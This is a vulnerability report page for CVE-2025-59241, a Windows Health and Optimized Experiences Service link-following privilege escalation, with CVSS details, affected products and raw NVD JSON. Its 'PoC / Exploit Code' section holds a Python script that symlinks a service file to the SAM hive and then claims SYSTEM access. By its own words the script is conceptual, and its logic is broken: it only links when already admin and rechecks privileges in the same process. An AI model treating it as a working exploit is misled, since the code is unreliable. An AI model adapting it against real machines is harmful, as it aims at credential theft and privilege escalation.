Security Vulnerability Report
中文
CVE-2025-59241 CVSS 7.8 HIGH

CVE-2025-59241

Published: 2025-10-14 17:16:06
Last Modified: 2025-10-17 15:18:57

Description

Improper link resolution before file access ('link following') in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 Version 22H2 32-bit
Windows 10 Version 22H2 x64
Windows 10 Version 22H2 ARM64
Windows 11 Version 23H2 x64
Windows 11 Version 23H2 ARM64
Windows 11 Version 24H2 x64
Windows 11 Version 24H2 ARM64
Windows Server 2022
Windows Server 2025

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59241 - Windows Health and Optimized Experiences Service # Privilege Escalation via Link Following (CWE-59) # Note: This is a conceptual PoC based on the vulnerability description. # Actual exploitation requires specific knowledge of the service's file operations. import os import sys import ctypes import time import threading from pathlib import Path # Check if running with admin privileges def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() != 0 except: return False TARGET_SERVICE = "HealthOptimizedExperiences" # The service operates on files in its working directory or temp paths # Attacker creates a symlink to redirect the service's file operation LINK_DIR = r"C:\ProgramData\Microsoft\HealthOpt" TARGET_FILE = r"C:\Windows\System32\config\SAM" MALICIOUS_LINK = os.path.join(LINK_DIR, "service_data.tmp") def create_symbolic_link(link_path, target_path): """Create a symbolic link (requires developer mode or admin)""" if is_admin(): # Use mklink command via subprocess import subprocess cmd = f'mklink "{link_path}" "{target_path}"' result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.returncode == 0 else: # Attempt junction point creation (works without admin for directories) print("[-] Symbolic link creation requires elevated privileges") return False def exploit_link_following(): """ Exploit link following vulnerability in Windows Health and Optimized Experiences Service to escalate privileges. """ print(f"[*] CVE-2025-59241 Exploit PoC") print(f"[*] Target Service: {TARGET_SERVICE}") if is_admin(): print("[+] Already running with admin privileges") return # Step 1: Create target directory if not exists os.makedirs(LINK_DIR, exist_ok=True) print(f"[*] Created/verified directory: {LINK_DIR}") # Step 2: Create symbolic link to redirect service file operations print(f"[*] Creating symbolic link: {MALICIOUS_LINK} -> {TARGET_FILE}") if create_symbolic_link(MALICIOUS_LINK, TARGET_FILE): print("[+] Symbolic link created successfully") else: print("[-] Failed to create symbolic link") return # Step 3: Trigger the service to perform file operation # The service periodically performs health checks and writes logs print("[*] Waiting for service to trigger file operation...") print("[*] This may require service restart or system event trigger") # Step 4: Monitor for privilege escalation print("[*] Monitoring for successful exploitation...") time.sleep(30) # Wait for service to perform operation if is_admin(): print("[+] PRIVILEGE ESCALATION SUCCESSFUL!") print("[+] Executing payload as SYSTEM...") os.system("cmd.exe") else: print("[-] Exploitation may have failed or requires additional steps") if __name__ == "__main__": if sys.platform != "win32": print("[-] This exploit only works on Windows") sys.exit(1) exploit_link_following()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59241", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:06.000", "lastModified": "2025-10-17T15:18:56.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper link resolution before file access ('link following') in Windows Health and Optimized Experiences Service allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59241", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}